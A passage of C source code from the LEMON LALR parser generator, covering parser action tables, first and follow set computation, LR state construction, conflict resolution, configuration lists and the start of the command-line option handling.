int nterminal; /* Number of terminal symbols */
struct symbol **symbols; /* Sorted array of pointers to symbols */
int errorcnt; /* Number of errors */
struct symbol *errsym; /* The error symbol */
struct symbol *wildcard; /* Token that matches anything */
char *name; /* Name of the generated parser */
char *arg; /* Declaration of the 3th argument to parser */
char *tokentype; /* Type of terminal symbols in the parser stack */
char *vartype; /* The default type of non-terminal symbols */
char *start; /* Name of the start symbol for the grammar */
char *stacksize; /* Size of the parser stack */
char *include; /* Code to put at the start of the C file */
char *error; /* Code to execute when an error is seen */
char *overflow; /* Code to execute on a stack overflow */
char *failure; /* Code to execute on parser failure */
char *accept; /* Code to execute when the parser excepts */
char *extracode; /* Code appended to the generated file */
char *tokendest; /* Code to execute to destroy token data */
char *vardest; /* Code for the default non-terminal destructor */
char *filename; /* Name of the input file */
char *outname; /* Name of the current output file */
char *tokenprefix; /* A prefix added to token names in the .h file */
int nconflict; /* Number of parsing conflicts */
int tablesize; /* Size of the parse tables */
int basisflag; /* Print only basis configurations */
int has_fallback; /* True if any %fallback is seen in the grammar */
int nolinenosflag; /* True if #line statements should not be printed */
char *argv0; /* Name of the program */
};
#define MemoryCheck(X) if((X)==0){ \
extern void memory_error(); \
memory_error(); \
}
/**************** From the file "table.h" *********************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
/* Routines for handling a strings */
const char *Strsafe(const char *);
void Strsafe_init(void);
int Strsafe_insert(const char *);
const char *Strsafe_find(const char *);
/* Routines for handling symbols of the grammar */
struct symbol *Symbol_new(const char *);
int Symbolcmpp(const void *, const void *);
void Symbol_init(void);
int Symbol_insert(struct symbol *, const char *);
struct symbol *Symbol_find(const char *);
struct symbol *Symbol_Nth(int);
int Symbol_count(void);
struct symbol **Symbol_arrayof(void);
/* Routines to manage the state table */
int Configcmp(const char *, const char *);
struct state *State_new(void);
void State_init(void);
int State_insert(struct state *, struct config *);
struct state *State_find(struct config *);
struct state **State_arrayof(/* */);
/* Routines used for efficiency in Configlist_add */
void Configtable_init(void);
int Configtable_insert(struct config *);
struct config *Configtable_find(struct config *);
void Configtable_clear(int(*)(struct config *));
/****************** From the file "action.c" *******************************/
/*
** Routines processing parser actions in the LEMON parser generator.
*/
/* Allocate a new parser action */
static struct action *Action_new(void){
static struct action *freelist = 0;
struct action *newaction;
if( freelist==0 ){
int i;
int amt = 100;
freelist = (struct action *)calloc(amt, sizeof(struct action));
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new parser action.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
newaction = freelist;
freelist = freelist->next;
return newaction;
}
/* Compare two actions for sorting purposes. Return negative, zero, or
** positive if the first action is less than, equal to, or greater than
** the first
*/
static int actioncmp(
struct action *ap1,
struct action *ap2
){
int rc;
rc = ap1->sp->index - ap2->sp->index;
if( rc==0 ){
rc = (int)ap1->type - (int)ap2->type;
}
if( rc==0 && ap1->type==REDUCE ){
rc = ap1->x.rp->index - ap2->x.rp->index;
}
if( rc==0 ){
rc = (int) (ap2 - ap1);
}
return rc;
}
/* Sort parser actions */
static struct action *Action_sort(
struct action *ap
){
ap = (struct action *)msort((char *)ap,(char **)&ap->next,
(int(*)(const char*,const char*))actioncmp);
return ap;
}
void Action_add(
struct action **app,
enum e_action type,
struct symbol *sp,
char *arg
){
struct action *newaction;
newaction = Action_new();
newaction->next = *app;
*app = newaction;
newaction->type = type;
newaction->sp = sp;
if( type==SHIFT ){
newaction->x.stp = (struct state *)arg;
}else{
newaction->x.rp = (struct rule *)arg;
}
}
/********************** New code to implement the "acttab" module ***********/
/*
** This module implements routines use to construct the yy_action[] table.
*/
/*
** The state of the yy_action table under construction is an instance of
** the following structure.
**
** The yy_action table maps the pair (state_number, lookahead) into an
** action_number. The table is an array of integers pairs. The state_number
** determines an initial offset into the yy_action array. The lookahead
** value is then added to this initial offset to get an index X into the
** yy_action array. If the aAction[X].lookahead equals the value of the
** of the lookahead input, then the value of the action_number output is
** aAction[X].action. If the lookaheads do not match then the
** default action for the state_number is returned.
**
** All actions associated with a single state_number are first entered
** into aLookahead[] using multiple calls to acttab_action(). Then the
** actions for that single state_number are placed into the aAction[]
** array with a single call to acttab_insert(). The acttab_insert() call
** also resets the aLookahead[] array in preparation for the next
** state number.
*/
struct lookahead_action {
int lookahead; /* Value of the lookahead token */
int action; /* Action to take on the given lookahead */
};
typedef struct acttab acttab;
struct acttab {
int nAction; /* Number of used slots in aAction[] */
int nActionAlloc; /* Slots allocated for aAction[] */
struct lookahead_action
*aAction, /* The yy_action[] table under construction */
*aLookahead; /* A single new transaction set */
int mnLookahead; /* Minimum aLookahead[].lookahead */
int mnAction; /* Action associated with mnLookahead */
int mxLookahead; /* Maximum aLookahead[].lookahead */
int nLookahead; /* Used slots in aLookahead[] */
int nLookaheadAlloc; /* Slots allocated in aLookahead[] */
};
/* Return the number of entries in the yy_action table */
#define acttab_size(X) ((X)->nAction)
/* The value for the N-th entry in yy_action */
#define acttab_yyaction(X,N) ((X)->aAction[N].action)
/* The value for the N-th entry in yy_lookahead */
#define acttab_yylookahead(X,N) ((X)->aAction[N].lookahead)
/* Free all memory associated with the given acttab */
void acttab_free(acttab *p){
free( p->aAction );
free( p->aLookahead );
free( p );
}
/* Allocate a new acttab structure */
acttab *acttab_alloc(void){
acttab *p = (acttab *) calloc( 1, sizeof(*p) );
if( p==0 ){
fprintf(stderr,"Unable to allocate memory for a new acttab.");
exit(1);
}
memset(p, 0, sizeof(*p));
return p;
}
/* Add a new action to the current transaction set.
**
** This routine is called once for each lookahead for a particular
** state.
*/
void acttab_action(acttab *p, int lookahead, int action){
if( p->nLookahead>=p->nLookaheadAlloc ){
p->nLookaheadAlloc += 25;
p->aLookahead = (struct lookahead_action *) realloc( p->aLookahead,
sizeof(p->aLookahead[0])*p->nLookaheadAlloc );
if( p->aLookahead==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
}
if( p->nLookahead==0 ){
p->mxLookahead = lookahead;
p->mnLookahead = lookahead;
p->mnAction = action;
}else{
if( p->mxLookahead<lookahead ) p->mxLookahead = lookahead;
if( p->mnLookahead>lookahead ){
p->mnLookahead = lookahead;
p->mnAction = action;
}
}
p->aLookahead[p->nLookahead].lookahead = lookahead;
p->aLookahead[p->nLookahead].action = action;
p->nLookahead++;
}
/*
** Add the transaction set built up with prior calls to acttab_action()
** into the current action table. Then reset the transaction set back
** to an empty set in preparation for a new round of acttab_action() calls.
**
** Return the offset into the action table of the new transaction.
*/
int acttab_insert(acttab *p){
int i, j, k, n;
assert( p->nLookahead>0 );
/* Make sure we have enough space to hold the expanded action table
** in the worst case. The worst case occurs if the transaction set
** must be appended to the current action table
*/
n = p->mxLookahead + 1;
if( p->nAction + n >= p->nActionAlloc ){
int oldAlloc = p->nActionAlloc;
p->nActionAlloc = p->nAction + n + p->nActionAlloc + 20;
p->aAction = (struct lookahead_action *) realloc( p->aAction,
sizeof(p->aAction[0])*p->nActionAlloc);
if( p->aAction==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=oldAlloc; i<p->nActionAlloc; i++){
p->aAction[i].lookahead = -1;
p->aAction[i].action = -1;
}
}
/* Scan the existing action table looking for an offset that is a
** duplicate of the current transaction set. Fall out of the loop
** if and when the duplicate is found.
**
** i is the index in p->aAction[] where p->mnLookahead is inserted.
*/
for(i=p->nAction-1; i>=0; i--){
if( p->aAction[i].lookahead==p->mnLookahead ){
/* All lookaheads and actions in the aLookahead[] transaction
** must match against the candidate aAction[i] entry. */
if( p->aAction[i].action!=p->mnAction ) continue;
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 || k>=p->nAction ) break;
if( p->aLookahead[j].lookahead!=p->aAction[k].lookahead ) break;
if( p->aLookahead[j].action!=p->aAction[k].action ) break;
}
if( j<p->nLookahead ) continue;
/* No possible lookahead value that is not in the aLookahead[]
** transaction is allowed to match aAction[i] */
n = 0;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead<0 ) continue;
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) n++;
}
if( n==p->nLookahead ){
break; /* An exact match is found at offset i */
}
}
}
/* If no existing offsets exactly match the current transaction, find an
** an empty offset in the aAction[] table in which we can add the
** aLookahead[] transaction.
*/
if( i<0 ){
/* Look for holes in the aAction[] table that fit the current
** aLookahead[] transaction. Leave i set to the offset of the hole.
** If no holes are found, i is left at p->nAction, which means the
** transaction will be appended. */
for(i=0; i<p->nActionAlloc - p->mxLookahead; i++){
if( p->aAction[i].lookahead<0 ){
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 ) break;
if( p->aAction[k].lookahead>=0 ) break;
}
if( j<p->nLookahead ) continue;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) break;
}
if( j==p->nAction ){
break; /* Fits in empty slots */
}
}
}
}
/* Insert transaction set at index i. */
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
p->aAction[k] = p->aLookahead[j];
if( k>=p->nAction ) p->nAction = k+1;
}
p->nLookahead = 0;
/* Return the offset that is added to the lookahead in order to get the
** index into yy_action of the action */
return i - p->mnLookahead;
}
/********************** From the file "build.c" *****************************/
/*
** Routines to construction the finite state machine for the LEMON
** parser generator.
*/
/* Find a precedence symbol of every rule in the grammar.
**
** Those rules which have a precedence symbol coded in the input
** grammar using the "[symbol]" construct will already have the
** rp->precsym field filled. Other rules take as their precedence
** symbol the first RHS symbol with a defined precedence. If there
** are not RHS symbols with a defined precedence, the precedence
** symbol field is left blank.
*/
void FindRulePrecedences(struct lemon *xp)
{
struct rule *rp;
for(rp=xp->rule; rp; rp=rp->next){
if( rp->precsym==0 ){
int i, j;
for(i=0; i<rp->nrhs && rp->precsym==0; i++){
struct symbol *sp = rp->rhs[i];
if( sp->type==MULTITERMINAL ){
for(j=0; j<sp->nsubsym; j++){
if( sp->subsym[j]->prec>=0 ){
rp->precsym = sp->subsym[j];
break;
}
}
}else if( sp->prec>=0 ){
rp->precsym = rp->rhs[i];
}
}
}
}
return;
}
/* Find all nonterminals which will generate the empty string.
** Then go back and compute the first sets of every nonterminal.
** The first set is the set of all terminal symbols which can begin
** a string generated by that nonterminal.
*/
void FindFirstSets(struct lemon *lemp)
{
int i, j;
struct rule *rp;
int progress;
for(i=0; i<lemp->nsymbol; i++){
lemp->symbols[i]->lambda = LEMON_FALSE;
}
for(i=lemp->nterminal; i<lemp->nsymbol; i++){
lemp->symbols[i]->firstset = SetNew();
}
/* First compute all lambdas */
do{
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->lhs->lambda ) continue;
for(i=0; i<rp->nrhs; i++){
struct symbol *sp = rp->rhs[i];
assert( sp->type==NONTERMINAL || sp->lambda==LEMON_FALSE );
if( sp->lambda==LEMON_FALSE ) break;
}
if( i==rp->nrhs ){
rp->lhs->lambda = LEMON_TRUE;
progress = 1;
}
}
}while( progress );
/* Now compute all first sets */
do{
struct symbol *s1, *s2;
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
s1 = rp->lhs;
for(i=0; i<rp->nrhs; i++){
s2 = rp->rhs[i];
if( s2->type==TERMINAL ){
progress += SetAdd(s1->firstset,s2->index);
break;
}else if( s2->type==MULTITERMINAL ){
for(j=0; j<s2->nsubsym; j++){
progress += SetAdd(s1->firstset,s2->subsym[j]->index);
}
break;
}else if( s1==s2 ){
if( s1->lambda==LEMON_FALSE ) break;
}else{
progress += SetUnion(s1->firstset,s2->firstset);
if( s2->lambda==LEMON_FALSE ) break;
}
}
}
}while( progress );
return;
}
/* Compute all LR(0) states for the grammar. Links
** are added to between some states so that the LR(1) follow sets
** can be computed later.
*/
PRIVATE struct state *getstate(struct lemon *); /* forward reference */
void FindStates(struct lemon *lemp)
{
struct symbol *sp;
struct rule *rp;
Configlist_init();
/* Find the start symbol */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ){
ErrorMsg(lemp->filename,0,
"The specified start symbol \"%s\" is not \
in a nonterminal of the grammar. \"%s\" will be used as the start \
symbol instead.",lemp->start,lemp->rule->lhs->name);
lemp->errorcnt++;
sp = lemp->rule->lhs;
}
}else{
sp = lemp->rule->lhs;
}
/* Make sure the start symbol doesn't occur on the right-hand side of
** any rule. Report an error if it does. (YACC would generate a new
** start symbol in this case.) */
for(rp=lemp->rule; rp; rp=rp->next){
int i;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]==sp ){ /* FIX ME: Deal with multiterminals */
ErrorMsg(lemp->filename,0,
"The start symbol \"%s\" occurs on the \
right-hand side of a rule. This will result in a parser which \
does not work properly.",sp->name);
lemp->errorcnt++;
}
}
}
/* The basis configuration set for the first state
** is all rules which have the start symbol as their
** left-hand side */
for(rp=sp->rule; rp; rp=rp->nextlhs){
struct config *newcfp;
rp->lhsStart = 1;
newcfp = Configlist_addbasis(rp,0);
SetAdd(newcfp->fws,0);
}
/* Compute the first state. All other states will be
** computed automatically during the computation of the first one.
** The returned pointer to the first state is not used. */
(void)getstate(lemp);
return;
}
/* Return a pointer to a state which is described by the configuration
** list which has been built from calls to Configlist_add.
*/
PRIVATE void buildshifts(struct lemon *, struct state *); /* Forwd ref */
PRIVATE struct state *getstate(struct lemon *lemp)
{
struct config *cfp, *bp;
struct state *stp;
/* Extract the sorted basis of the new state. The basis was constructed
** by prior calls to "Configlist_addbasis()". */
Configlist_sortbasis();
bp = Configlist_basis();
/* Get a state with the same basis */
stp = State_find(bp);
if( stp ){
/* A state with the same basis already exists! Copy all the follow-set
** propagation links from the state under construction into the
** preexisting state, then return a pointer to the preexisting state */
struct config *x, *y;
for(x=bp, y=stp->bp; x && y; x=x->bp, y=y->bp){
Plink_copy(&y->bplp,x->bplp);
Plink_delete(x->fplp);
x->fplp = x->bplp = 0;
}
cfp = Configlist_return();
Configlist_eat(cfp);
}else{
/* This really is a new state. Construct all the details */
Configlist_closure(lemp); /* Compute the configuration closure */
Configlist_sort(); /* Sort the configuration closure */
cfp = Configlist_return(); /* Get a pointer to the config list */
stp = State_new(); /* A new state structure */
MemoryCheck(stp);
stp->bp = bp; /* Remember the configuration basis */
stp->cfp = cfp; /* Remember the configuration closure */
stp->statenum = lemp->nstate++; /* Every state gets a sequence number */
stp->ap = 0; /* No actions, yet. */
State_insert(stp,stp->bp); /* Add to the state table */
buildshifts(lemp,stp); /* Recursively compute successor states */
}
return stp;
}
/*
** Return true if two symbols are the same.
*/
int same_symbol(struct symbol *a, struct symbol *b)
{
int i;
if( a==b ) return 1;
if( a->type!=MULTITERMINAL ) return 0;
if( b->type!=MULTITERMINAL ) return 0;
if( a->nsubsym!=b->nsubsym ) return 0;
for(i=0; i<a->nsubsym; i++){
if( a->subsym[i]!=b->subsym[i] ) return 0;
}
return 1;
}
/* Construct all successor states to the given state. A "successor"
** state is any state which can be reached by a shift action.
*/
PRIVATE void buildshifts(struct lemon *lemp, struct state *stp)
{
struct config *cfp; /* For looping thru the config closure of "stp" */
struct config *bcfp; /* For the inner loop on config closure of "stp" */
struct config *newcfg; /* */
struct symbol *sp; /* Symbol following the dot in configuration "cfp" */
struct symbol *bsp; /* Symbol following the dot in configuration "bcfp" */
struct state *newstp; /* A pointer to a successor state */
/* Each configuration becomes complete after it contibutes to a successor
** state. Initially, all configurations are incomplete */
for(cfp=stp->cfp; cfp; cfp=cfp->next) cfp->status = INCOMPLETE;
/* Loop through all configurations of the state "stp" */
for(cfp=stp->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue; /* Already used by inner loop */
if( cfp->dot>=cfp->rp->nrhs ) continue; /* Can't shift this config */
Configlist_reset(); /* Reset the new config set */
sp = cfp->rp->rhs[cfp->dot]; /* Symbol after the dot */
/* For every configuration in the state "stp" which has the symbol "sp"
** following its dot, add the same configuration to the basis set under
** construction but with the dot shifted one symbol to the right. */
for(bcfp=cfp; bcfp; bcfp=bcfp->next){
if( bcfp->status==COMPLETE ) continue; /* Already used */
if( bcfp->dot>=bcfp->rp->nrhs ) continue; /* Can't shift this one */
bsp = bcfp->rp->rhs[bcfp->dot]; /* Get symbol after dot */
if( !same_symbol(bsp,sp) ) continue; /* Must be same as for "cfp" */
bcfp->status = COMPLETE; /* Mark this config as used */
newcfg = Configlist_addbasis(bcfp->rp,bcfp->dot+1);
Plink_add(&newcfg->bplp,bcfp);
}
/* Get a pointer to the state described by the basis configuration set
** constructed in the preceding loop */
newstp = getstate(lemp);
/* The state "newstp" is reached from the state "stp" by a shift action
** on the symbol "sp" */
if( sp->type==MULTITERMINAL ){
int i;
for(i=0; i<sp->nsubsym; i++){
Action_add(&stp->ap,SHIFT,sp->subsym[i],(char*)newstp);
}
}else{
Action_add(&stp->ap,SHIFT,sp,(char *)newstp);
}
}
}
/*
** Construct the propagation links
*/
void FindLinks(struct lemon *lemp)
{
int i;
struct config *cfp, *other;
struct state *stp;
struct plink *plp;
/* Housekeeping detail:
** Add to every propagate link a pointer back to the state to
** which the link is attached. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
cfp->stp = stp;
}
}
/* Convert all backlinks into forward links. Only the forward
** links are used in the follow-set computation. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
for(plp=cfp->bplp; plp; plp=plp->next){
other = plp->cfp;
Plink_add(&other->fplp,cfp);
}
}
}
}
/* Compute all followsets.
**
** A followset is the set of all symbols which can come immediately
** after a configuration.
*/
void FindFollowSets(struct lemon *lemp)
{
int i;
struct config *cfp;
struct plink *plp;
int progress;
int change;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
cfp->status = INCOMPLETE;
}
}
do{
progress = 0;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue;
for(plp=cfp->fplp; plp; plp=plp->next){
change = SetUnion(plp->cfp->fws,cfp->fws);
if( change ){
plp->cfp->status = INCOMPLETE;
progress = 1;
}
}
cfp->status = COMPLETE;
}
}
}while( progress );
}
static int resolve_conflict(struct action *,struct action *);
/* Compute the reduce actions, and resolve conflicts.
*/
void FindActions(struct lemon *lemp)
{
int i,j;
struct config *cfp;
struct state *stp;
struct symbol *sp;
struct rule *rp;
/* Add all of the reduce actions
** A reduce action is added for each element of the followset of
** a configuration which has its dot at the extreme right.
*/
for(i=0; i<lemp->nstate; i++){ /* Loop over all states */
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){ /* Loop over all configurations */
if( cfp->rp->nrhs==cfp->dot ){ /* Is dot at extreme right? */
for(j=0; j<lemp->nterminal; j++){
if( SetFind(cfp->fws,j) ){
/* Add a reduce action to the state "stp" which will reduce by the
** rule "cfp->rp" if the lookahead symbol is "lemp->symbols[j]" */
Action_add(&stp->ap,REDUCE,lemp->symbols[j],(char *)cfp->rp);
}
}
}
}
}
/* Add the accepting token */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ) sp = lemp->rule->lhs;
}else{
sp = lemp->rule->lhs;
}
/* Add to the first state (which is always the starting state of the
** finite state machine) an action to ACCEPT if the lookahead is the
** start nonterminal. */
Action_add(&lemp->sorted[0]->ap,ACCEPT,sp,0);
/* Resolve conflicts */
for(i=0; i<lemp->nstate; i++){
struct action *ap, *nap;
stp = lemp->sorted[i];
/* assert( stp->ap ); */
stp->ap = Action_sort(stp->ap);
for(ap=stp->ap; ap && ap->next; ap=ap->next){
for(nap=ap->next; nap && nap->sp==ap->sp; nap=nap->next){
/* The two actions "ap" and "nap" have the same lookahead.
** Figure out which one should be used */
lemp->nconflict += resolve_conflict(ap,nap);
}
}
}
/* Report an error for each rule that can never be reduced. */
for(rp=lemp->rule; rp; rp=rp->next) rp->canReduce = LEMON_FALSE;
for(i=0; i<lemp->nstate; i++){
struct action *ap;
for(ap=lemp->sorted[i]->ap; ap; ap=ap->next){
if( ap->type==REDUCE ) ap->x.rp->canReduce = LEMON_TRUE;
}
}
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->canReduce ) continue;
ErrorMsg(lemp->filename,rp->ruleline,"This rule can not be reduced.\n");
lemp->errorcnt++;
}
}
/* Resolve a conflict between the two given actions. If the
** conflict can't be resolved, return non-zero.
**
** NO LONGER TRUE:
** To resolve a conflict, first look to see if either action
** is on an error rule. In that case, take the action which
** is not associated with the error rule. If neither or both
** actions are associated with an error rule, then try to
** use precedence to resolve the conflict.
**
** If either action is a SHIFT, then it must be apx. This
** function won't work if apx->type==REDUCE and apy->type==SHIFT.
*/
static int resolve_conflict(
struct action *apx,
struct action *apy
){
struct symbol *spx, *spy;
int errcnt = 0;
assert( apx->sp==apy->sp ); /* Otherwise there would be no conflict */
if( apx->type==SHIFT && apy->type==SHIFT ){
apy->type = SSCONFLICT;
errcnt++;
}
if( apx->type==SHIFT && apy->type==REDUCE ){
spx = apx->sp;
spy = apy->x.rp->precsym;
if( spy==0 || spx->prec<0 || spy->prec<0 ){
/* Not enough precedence information. */
apy->type = SRCONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){ /* higher precedence wins */
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = SH_RESOLVED;
}else if( spx->prec==spy->prec && spx->assoc==RIGHT ){ /* Use operator */
apy->type = RD_RESOLVED; /* associativity */
}else if( spx->prec==spy->prec && spx->assoc==LEFT ){ /* to break tie */
apx->type = SH_RESOLVED;
}else{
assert( spx->prec==spy->prec && spx->assoc==NONE );
apx->type = ERROR;
}
}else if( apx->type==REDUCE && apy->type==REDUCE ){
spx = apx->x.rp->precsym;
spy = apy->x.rp->precsym;
if( spx==0 || spy==0 || spx->prec<0 ||
spy->prec<0 || spx->prec==spy->prec ){
apy->type = RRCONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = RD_RESOLVED;
}
}else{
assert(
apx->type==SH_RESOLVED ||
apx->type==RD_RESOLVED ||
apx->type==SSCONFLICT ||
apx->type==SRCONFLICT ||
apx->type==RRCONFLICT ||
apy->type==SH_RESOLVED ||
apy->type==RD_RESOLVED ||
apy->type==SSCONFLICT ||
apy->type==SRCONFLICT ||
apy->type==RRCONFLICT
);
/* The REDUCE/SHIFT case cannot happen because SHIFTs come before
** REDUCEs on the list. If we reach this point it must be because
** the parser conflict had already been resolved. */
}
return errcnt;
}
/********************* From the file "configlist.c" *************************/
/*
** Routines to processing a configuration list and building a state
** in the LEMON parser generator.
*/
static struct config *freelist = 0; /* List of free configurations */
static struct config *current = 0; /* Top of list of configurations */
static struct config **currentend = 0; /* Last on list of configs */
static struct config *basis = 0; /* Top of list of basis configs */
static struct config **basisend = 0; /* End of list of basis configs */
/* Return a pointer to a new configuration */
PRIVATE struct config *newconfig(){
struct config *newcfg;
if( freelist==0 ){
int i;
int amt = 3;
freelist = (struct config *)calloc( amt, sizeof(struct config) );
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new configuration.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
newcfg = freelist;
freelist = freelist->next;
return newcfg;
}
/* The configuration "old" is no longer used */
PRIVATE void deleteconfig(struct config *old)
{
old->next = freelist;
freelist = old;
}
/* Initialized the configuration list builder */
void Configlist_init(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_init();
return;
}
/* Initialized the configuration list builder */
void Configlist_reset(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_clear(0);
return;
}
/* Add another configuration to the configuration list */
struct config *Configlist_add(
struct rule *rp, /* The rule */
int dot /* Index into the RHS of the rule where the dot goes */
){
struct config *cfp, model;
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
Configtable_insert(cfp);
}
return cfp;
}
/* Add a basis configuration to the configuration list */
struct config *Configlist_addbasis(struct rule *rp, int dot)
{
struct config *cfp, model;
assert( basisend!=0 );
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
*basisend = cfp;
basisend = &cfp->bp;
Configtable_insert(cfp);
}
return cfp;
}
/* Compute the closure of the configuration list */
void Configlist_closure(struct lemon *lemp)
{
struct config *cfp, *newcfp;
struct rule *rp, *newrp;
struct symbol *sp, *xsp;
int i, dot;
assert( currentend!=0 );
for(cfp=current; cfp; cfp=cfp->next){
rp = cfp->rp;
dot = cfp->dot;
if( dot>=rp->nrhs ) continue;
sp = rp->rhs[dot];
if( sp->type==NONTERMINAL ){
if( sp->rule==0 && sp!=lemp->errsym ){
ErrorMsg(lemp->filename,rp->line,"Nonterminal \"%s\" has no rules.",
sp->name);
lemp->errorcnt++;
}
for(newrp=sp->rule; newrp; newrp=newrp->nextlhs){
newcfp = Configlist_add(newrp,0);
for(i=dot+1; i<rp->nrhs; i++){
xsp = rp->rhs[i];
if( xsp->type==TERMINAL ){
SetAdd(newcfp->fws,xsp->index);
break;
}else if( xsp->type==MULTITERMINAL ){
int k;
for(k=0; k<xsp->nsubsym; k++){
SetAdd(newcfp->fws, xsp->subsym[k]->index);
}
break;
}else{
SetUnion(newcfp->fws,xsp->firstset);
if( xsp->lambda==LEMON_FALSE ) break;
}
}
if( i==rp->nrhs ) Plink_add(&cfp->fplp,newcfp);
}
}
}
return;
}
/* Sort the configuration list */
void Configlist_sort(){
current = (struct config *)msort((char *)current,(char **)&(current->next),Configcmp);
currentend = 0;
return;
}
/* Sort the basis configuration list */
void Configlist_sortbasis(){
basis = (struct config *)msort((char *)current,(char **)&(current->bp),Configcmp);
basisend = 0;
return;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_return(){
struct config *old;
old = current;
current = 0;
currentend = 0;
return old;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_basis(){
struct config *old;
old = basis;
basis = 0;
basisend = 0;
return old;
}
/* Free all elements of the given configuration list */
void Configlist_eat(struct config *cfp)
{
struct config *nextcfp;
for(; cfp; cfp=nextcfp){
nextcfp = cfp->next;
assert( cfp->fplp==0 );
assert( cfp->bplp==0 );
if( cfp->fws ) SetFree(cfp->fws);
deleteconfig(cfp);
}
return;
}
/***************** From the file "error.c" *********************************/
/*
** Code for printing error message.
*/
void ErrorMsg(const char *filename, int lineno, const char *format, ...){
va_list ap;
fprintf(stderr, "%s:%d: ", filename, lineno);
va_start(ap, format);
vfprintf(stderr,format,ap);
va_end(ap);
fprintf(stderr, "\n");
}
/**************** From the file "main.c" ************************************/
/*
** Main program file for the LEMON parser generator.
*/
/* Report an out-of-memory condition and abort. This function
** is used mostly by the "MemoryCheck" macro in struct.h
*/
void memory_error(){
fprintf(stderr,"Out of memory. Aborting...\n");
exit(1);
}
static int nDefine = 0; /* Number of -D options on the command line */
static char **azDefine = 0; /* Name of the -D macros */
/* This routine is called with the argument to each -D command-line option.
** Add the macro defined to the azDefine array.
*/
static void handle_D_option(char *z){
char **paz;
nDefine++;
azDefine = (char **) realloc(azDefine, sizeof(azDefine[0])*nDefine);
if( azDefine==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
paz = &azDefine[nDefine-1];
*paz = (char *) malloc( lemonStrlen(z)+1 );
if( *paz==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
lemon_strcpy(*paz, z);
for(z=*paz; *z && *z!='='; z++){}
*z = 0;
}
static char *user_templatename = NULL;
static void handle_T_option(char *z){
user_templatename = (char *) malloc( lemonStrlen(z)+1 );
if( user_templatename==0 ){
memory_error();
}
lemon_strcpy(user_templatename, z);
}
/* The main program. Parse the command line and do it... */
int main(int argc, char **argv)
{
static int version = 0;
static int rpflag = 0;
static int basisflag = 0;
static int compress = 0;
static int quiet = 0;
static int statistics = 0;
static int mhflag = 0;
static int nolinenosflag = 0;
static int noResort = 0;
static struct s_options options[] = {
{OPT_FLAG, "b", (char*)&basisflag, "Print only the basis in report."},
{OPT_FLAG, "c", (char*)&compress, "Don't compress the action table."},
{OPT_FSTR, "D", (char*)handle_D_option, "Define an %ifdef macro."},
{OPT_FSTR, "f", 0, "Ignored. (Placeholder for -f compiler options.)"},
{OPT_FLAG, "g", (char*)&rpflag, "Print grammar without actions."},
{OPT_FSTR, "I", 0, "Ignored. (Placeholder for '-I' compiler options.)"},
{OPT_FLAG, "m", (char*)&mhflag, "Output a makeheaders compatible file."},
{OPT_FLAG, "l", (char*)&nolinenosflag, "Do not print #line statements."},
{OPT_FSTR, "O", 0, "Ignored. (Placeholder for '-O' compiler options.)"},
{OPT_FLAG, "p", (char*)&showPrecedenceConflict,
"Show conflicts resolved by precedence rules"},
{OPT_FLAG, "q", (char*)&quiet, "(Quiet) Don't print the report file."},
